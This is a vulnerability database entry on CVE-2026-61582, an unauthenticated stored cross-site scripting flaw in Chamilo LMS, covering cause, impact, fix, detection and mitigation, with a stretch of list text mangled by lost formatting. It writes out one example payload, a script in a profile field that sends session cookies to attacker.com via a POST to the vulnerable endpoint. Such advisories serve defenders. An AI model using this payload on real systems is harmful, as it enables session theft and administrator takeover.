
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-61582 is a stored Cross-Site Scripting (XSS) vulnerability in Chamilo LMS, an open-source learning management system. The flaw exists in the update_users action of main/inc/ajax/user_manager.ajax.php, which is exposed without any authorization check and accepts unsanitized firstname, lastname, and email values from unauthenticated attackers. All versions of Chamilo LMS prior to 1.11.40 (including 1.11.38 and 1.11.36) are affected; Chamilo 2.0.0 is not affected as the vulnerable endpoint no longer exists. The vulnerability was published on November 18, 2026, and fixed in version 1.11.40. It carries a CVSS v4.0 base score of 6.4 (Medium) (GitHub Advisory, Feedly).
The root cause is a combination of broken access control (CWE-862) and improper neutralization of input during web page generation (CWE-79). The AJAX endpoint main/inc/ajax/user_manager.ajax.php handles the update_users action without calling any authentication or authorization guard, allowing any unauthenticated HTTP client to submit a POST request with a crafted users JSON payload containing malicious JavaScript in the firstname, lastname, or email fields. These values are stored verbatim in the user table and subsequently rendered without HTML escaping on multiple high-traffic pages: user_portal.php, the admin user listing (main/admin/user_list.php), user information (main/admin/user_information.php), social profile (main/social/profile.php), course participant list (main/user/user.php), and the message-composer recipient header (main/messages/new_message.php). The fix (commit f822558) adds an api_protect_admin_script(true) call to restrict the action to administrators and applies attr_on_filter(html_filter(...)) sanitization to all user-controlled fields (GitHub Commit, GitHub Advisory).
An unauthenticated attacker can persistently inject arbitrary JavaScript into any user's profile fields, causing the payload to execute in the browser session of every user who views any page that renders the modified account. When the targeted account is the platform administrator (default user_id=1), the XSS payload is rendered to all logged-in users via user_portal.php, enabling session cookie theft, unauthorized in-session administrative actions (such as creating rogue admin accounts or modifying course content), and platform-wide malware delivery. The advisory notes this vulnerability can be chained with a related unauthenticated email-rewrite flaw to combine a loud account takeover (email change → password reset) with a silent persistent XSS foothold (GitHub Advisory).
No public proof-of-concept exploit code or in-the-wild exploitation has been confirmed as of the publication date. The EPSS score is 0.0 and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, the attack requires no authentication and low complexity — an attacker only needs network access to the target Chamilo instance and passive user interaction (a victim viewing a page that renders the injected account) to trigger the payload (Feedly, GitHub Advisory).
/documentation/changelog.html.user_id=1) by browsing public-facing pages such as course participant lists or social profiles that expose user IDs.firstname, lastname, or email field, e.g.: {"users": "[{\"user_id\": 1, \"firstname\": \"<script>document.location='https://attacker.com/steal?c='+document.cookie</script>\"}]"}.POST /main/inc/ajax/user_manager.ajax.php?a=update_users with the crafted users parameter.user_portal.php, the admin user listing, social profile, or other affected pages, the script executes in their browser./main/inc/ajax/user_manager.ajax.php with the a=update_users parameter from external or unknown IP addresses; outbound HTTP requests from user browsers to unknown external domains (potential cookie exfiltration endpoints).user_manager.ajax.php?a=update_users without a valid authenticated session cookie; repeated requests targeting specific user_id values (especially user_id=1).user table with firstname, lastname, or email fields containing HTML tags (e.g., <script>, <img, onerror=) or JavaScript URI schemes (javascript:).user_portal.php, the admin user listing, social profiles, or the message composer; anomalous admin actions (new accounts created, permissions changed) not initiated by known administrators (GitHub Advisory).Upgrade Chamilo LMS to version 1.11.40 or later, which restricts the update_users AJAX action to administrators via api_protect_admin_script(true) and applies HTML sanitization (attr_on_filter(html_filter(...))) to all user-controlled profile fields. Chamilo 2.0.0 is not affected as the vulnerable endpoint does not exist in that version. As an interim workaround for administrators unable to upgrade immediately, consider blocking unauthenticated external access to main/inc/ajax/user_manager.ajax.php at the web server or WAF level, or restricting access to the AJAX endpoint to authenticated sessions only (GitHub Advisory, GitHub Release, GitHub Commit).
The vulnerability was reported by security researcher Sean Matthews and credited to QbVulnReport. The advisory was published by Chamilo maintainer ywarnier on July 7, 2026, and the CVE was formally published on November 18, 2026. The Quarkslab blog referenced Chamilo LMS vulnerabilities in a broader research post titled "It's Raining 0days," and the vulnerability received coverage in The Hacker News weekly recap. Community aggregators including VulnDB, Vulners, and CVEFeed.io indexed the vulnerability shortly after NVD publication (GitHub Advisory, Quarkslab Blog, The Hacker News).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."